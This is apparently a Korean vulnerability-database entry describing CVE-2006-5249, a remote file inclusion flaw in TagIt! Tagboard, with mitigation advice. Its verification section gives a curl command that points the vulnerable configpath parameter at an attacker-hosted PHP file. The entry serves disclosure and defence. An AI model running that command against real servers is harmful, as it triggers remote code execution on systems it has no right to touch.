🔍 CVE-2006-5249

7.5
CVSS Score
HIGH
2006-10-12
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

TagIt! Tagboard 2.1.B Build 2의 tagmin/delTagUser.php 파일에서 configpath 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 원격 서버의 PHP 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다. 사용자 입력에 대한 검증 및 필터링이 부족하여 발생합니다.

💡 쉬운 설명

웹 애플리케이션이 다른 인터넷 주소에서 파일을 안전하게 확인하지 않고 포함시켜서, 해커가 자신의 악성 코드를 실행하도록 만들 수 있습니다. PHP 설정에서 원격 파일 포함이 허용되어 있으면 더 위험합니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in tagmin/delTagUser.php in TagIt! Tagboard 2.1.B Build 2 (tagit2b) allows remote attackers to execute arbitrary PHP code via a URL in the configpath parameter.

📍 영향받는 시스템

TagIt! Tagboard 2.1.B Build 2 (tagit2b) 및 해당 버전을 사용하는 모든 웹사이트

⚔️ 공격 벡터

HTTP GET/POST 요청의 configpath 매개변수에 원격 PHP 파일 URL을 삽입하여 악의적 코드 실행

🛡️ 대응 방법

TagIt! Tagboard를 최신 버전으로 업데이트하거나, php.ini에서 allow_url_include=Off로 설정하고, 사용자 입력 검증 및 화이트리스트 기반 경로 제한 적용

🔧 검증 코드

취약한 서버는 원격 파일 포함 오류나 PHP 코드 실행 결과를 반환하며, 패치된 서버는 접근 거부 또는 에러 페이지를 표시합니다.

Shell / Script
curl -s 'http://target/tagmin/delTagUser.php?configpath=http://attacker.com/malicious.php' 2>&1 | grep -i 'error\|warning\|include'

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP